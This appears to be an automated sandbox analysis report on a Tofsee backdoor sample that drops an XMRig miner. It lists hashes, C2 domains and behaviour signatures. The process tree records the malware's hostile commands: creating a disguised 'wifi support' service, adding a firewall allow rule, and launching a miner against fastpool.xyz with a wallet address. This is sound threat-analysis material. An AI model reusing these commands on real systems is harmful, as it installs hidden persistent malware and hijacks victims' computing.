Analysis

  • max time kernel
    299s
  • max time network
    304s
  • platform
    windows10-1703_x64
  • resource
    win10-20231023-en
  • resource tags

    arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/11/2023, 05:07

General

  • Target

    f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe.exe

  • Size

    221KB

  • MD5

    2488d90434caafc7d576e6e16220a772

  • SHA1

    9f72377d8cc4e561ae6172460df94b8d0f87ed9e

  • SHA256

    f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe

  • SHA512

    5ee948f1eeb8ba21cda44d781b616f96957b6f7a1951b0a4dfe6c7c881ae28d243722cf751209efa8e1e274fe392b0956ea1423ec6ed1efb7880b87e44aa5e18

  • SSDEEP

    3072:WHMfCYL/+qeVAeW5XNFJarDAJ98I2a9CZo2Y07LPd0RPGnllVP:WsfbLQIF00JWla92o2Y0foGnR

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe.exe
    "C:\Users\Admin\AppData\Local\Temp\f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wwfjqzkt\
      2⤵
        PID:3032
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wflwujb.exe" C:\Windows\SysWOW64\wwfjqzkt\
        2⤵
          PID:236
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wwfjqzkt binPath= "C:\Windows\SysWOW64\wwfjqzkt\wflwujb.exe /d\"C:\Users\Admin\AppData\Local\Temp\f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wwfjqzkt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wwfjqzkt
          2⤵
          • Launches sc.exe
          PID:4636
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3868
      • C:\Windows\SysWOW64\wwfjqzkt\wflwujb.exe
        C:\Windows\SysWOW64\wwfjqzkt\wflwujb.exe /d"C:\Users\Admin\AppData\Local\Temp\f784390bef1610437897b0044be3a495e58de9cef5de77d9f45f5b3a5defe5fe.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2024

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\wflwujb.exe

              Filesize

              10.1MB

              MD5

              300c5e55a97696143b42a8603356a221

              SHA1

              81fb18ff8b0f6437cb350d410f65d7d8d58b4343

              SHA256

              2ace222c0a9eda3fd0ae503c52046cfcffac10f839e0d2b31ce8873eac06269b

              SHA512

              122df32da2aedf7ae17a9fcf776e22afee08922f27573f8f415c98c20875b10091fa3853e189f6fabf619bdd040b026cca7ab44c0d1d2b34d700fdb87c71ad4a

            • C:\Windows\SysWOW64\wwfjqzkt\wflwujb.exe

              Filesize

              10.1MB

              MD5

              300c5e55a97696143b42a8603356a221

              SHA1

              81fb18ff8b0f6437cb350d410f65d7d8d58b4343

              SHA256

              2ace222c0a9eda3fd0ae503c52046cfcffac10f839e0d2b31ce8873eac06269b

              SHA512

              122df32da2aedf7ae17a9fcf776e22afee08922f27573f8f415c98c20875b10091fa3853e189f6fabf619bdd040b026cca7ab44c0d1d2b34d700fdb87c71ad4a

            • memory/1128-10-0x00000000006C0000-0x00000000007C0000-memory.dmp

              Filesize

              1024KB

            • memory/1128-11-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/1128-14-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/2024-70-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-69-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-62-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-67-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-68-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-71-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-73-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-75-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-74-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/2024-72-0x0000000002C90000-0x0000000002D81000-memory.dmp

              Filesize

              964KB

            • memory/3388-7-0x00000000020E0000-0x00000000020F3000-memory.dmp

              Filesize

              76KB

            • memory/3388-1-0x0000000000740000-0x0000000000840000-memory.dmp

              Filesize

              1024KB

            • memory/3388-2-0x00000000020E0000-0x00000000020F3000-memory.dmp

              Filesize

              76KB

            • memory/3388-6-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/3388-3-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/4980-40-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-53-0x00000000027A0000-0x00000000027A5000-memory.dmp

              Filesize

              20KB

            • memory/4980-36-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-37-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-34-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-41-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-39-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-42-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-38-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-48-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-49-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-46-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-50-0x00000000027A0000-0x00000000027A5000-memory.dmp

              Filesize

              20KB

            • memory/4980-47-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-45-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-35-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-54-0x0000000008990000-0x0000000008D9B000-memory.dmp

              Filesize

              4.0MB

            • memory/4980-44-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-43-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-57-0x0000000008990000-0x0000000008D9B000-memory.dmp

              Filesize

              4.0MB

            • memory/4980-58-0x00000000027C0000-0x00000000027C7000-memory.dmp

              Filesize

              28KB

            • memory/4980-33-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-30-0x00000000023E0000-0x00000000023F0000-memory.dmp

              Filesize

              64KB

            • memory/4980-27-0x00000000023D0000-0x00000000023D6000-memory.dmp

              Filesize

              24KB

            • memory/4980-26-0x0000000004140000-0x000000000434F000-memory.dmp

              Filesize

              2.1MB

            • memory/4980-23-0x0000000004140000-0x000000000434F000-memory.dmp

              Filesize

              2.1MB

            • memory/4980-22-0x0000000002320000-0x0000000002335000-memory.dmp

              Filesize

              84KB

            • memory/4980-20-0x0000000002320000-0x0000000002335000-memory.dmp

              Filesize

              84KB

            • memory/4980-19-0x0000000002320000-0x0000000002335000-memory.dmp

              Filesize

              84KB

            • memory/4980-17-0x0000000002320000-0x0000000002335000-memory.dmp

              Filesize

              84KB

            • memory/4980-12-0x0000000002320000-0x0000000002335000-memory.dmp

              Filesize

              84KB